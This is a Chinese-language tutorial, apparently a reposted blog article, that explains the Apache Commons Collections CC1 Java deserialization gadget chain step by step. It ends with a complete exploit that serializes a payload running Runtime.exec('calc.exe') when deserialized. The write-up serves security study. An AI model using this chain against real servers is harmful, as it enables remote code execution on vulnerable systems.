IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> java安全-CC链1(小宇特详解) -> 正文阅读

[Java知识库]java安全-CC链1(小宇特详解)

java安全-CC链1(小宇特详解)

CC链的前提是序列化和反序列化

序列化需要两个条件

  1. 该类必须实现java.io.Serlalizable接口

  2. 该类的所有属性必须是可序列化的,如果?个属性是不可序列化的,则属性必须标明是短暂的。

    比如:static,transient 修饰的变量不可被序列化

注意事项:

不能new 一个Runtime类

package com.CC1;

public class Demo {
    public static void main(String[] args) {
        Runtime runtime;
        runtime = new Runtime();
    }
}

Runtime是一个单例类,单例类是不能够进行new的。

CC链利用的类

CC链的原理就是利用反射获取类,放到readObject方法中

transform接口:

ConstantTransformer

作用:获取class对象

关键是调用transform方法

package com.CC1;

import org.apache.commons.collections.functors.ConstantTransformer;


public class Demo01 {
    public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class
        //相当于是你传入Runtime.class 下面就会返回这个类,传入什么返回什么
        Object transform = constantTransformer.transform("null");
        System.out.println(transform);
        System.out.println(transform.getClass().getName());

    }
}//作用:获取一个类的对象

invokeTransformer

把一个对象转换为另一个对象

他最常用的构造方法需要传递三个参数

第一个是methodNmae,方法

第二个是class的类型(有字符型和int型等)

第三个是方法参数

举例:methodName:“exec”,new Class[]{String.class},new Object[]{cmd}

它的transform方法

就是该类接收一个对象,获取该对象的名称(通过ConstantTransformer),然后调用invoke方法传入三个参数。

那如何形成链呢

ChainedTransformer

多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调??系列的变换。

package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo03 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}//获取到了getRuntime方法
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}//用invoke方法传递参数
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调?链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 执?对象转换操作
        transformedChain.transform(null);
    }
}

上面的三个类就能够连起来使用

  1. ConstantTransformer --> 把?个对象转换为常量,并返回 ->获取到了Runtime.class
  2. InvokerTransformer --> 通过反射,返回?个对象 -> 反射获取执行方法加入参数
  3. ChainedTransformer -->执?链式的Transformer?法 ->将反射包含的数组进行链式调用,从而连贯起来
  4. 然后看那个对象能够接收ChainedTransformer方法

TransformedMap

这个就是为了解决上面的第4步

由于我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。

这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值。很明显后者是一个常规操作,极有可能被触发。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer实现类分别 绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时(调用TransformedMapsetValue/put/putAll中的任意方法),就会自动触发chainedtransformer

package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调?链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        //创建Map对象
        Map map = new HashMap();
        map.put("value", "value");
        // 使?TransformedMap创建?个含有恶意调?链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null,
                transformedChain);
    // transformedMap.put("v1", "v2");// 执?put也会触发transform
    // 遍历Map元素,并调?setValue?法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;
    // setValue最终调?到InvokerTransformer的transform?法,从?触发Runtime命令执?调?链
            entry.setValue("test");
        }
//            System.out.println(transformedMap);
        }
    }

TransformedMap的条件

  1. 实现了java.io.Serializable接口;
  2. 并且可以传入我们构建的TransformedMap对象;
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;

AnnotationInvocationHandler

上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。
之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。

在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler

LazyMap

这里使用的map类是LazyMap

因为里面的get方法正好符合put去调用transform的情况

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

但是我们还需要一个类在反序列化的时候触发LazyMap类的get方法

借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。

public Object invoke(Object var1, Method var2, Object[] var3) {
    Object var6 = this.memberValues.get(var4);
}

AnnotationInvocationHandler中的invoke方法调用了get方法

通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法

最终攻击代码

public static void main(String[] args) throws Exception {
    //1.客户端构建攻击代码
    //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
    };
    //将transformers数组存入ChaniedTransformer这个继承类
    Transformer transformerChain = new ChainedTransformer(transformers);

    //创建Map并绑定transformerChina
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    //给予map数据转化链
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //反射机制调用AnnotationInvocationHandler类的构造函数
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    //取消构造函数修饰符限制
    ctor.setAccessible(true);
    //获取AnnotationInvocationHandler类实例
    Object instance = ctor.newInstance(Target.class, outerMap);

    //payload序列化写入文件,模拟网络传输
    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(instance);

    //2.服务端读取文件,反序列化,模拟网络传输
    FileInputStream fi = new FileInputStream("payload.bin");
    ObjectInputStream fin = new ObjectInputStream(fi);
    //服务端反序列化
    fin.readObject();
}
  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-01-30 18:48:07  更:2022-01-30 18:48:50 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/28 4:08:56-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码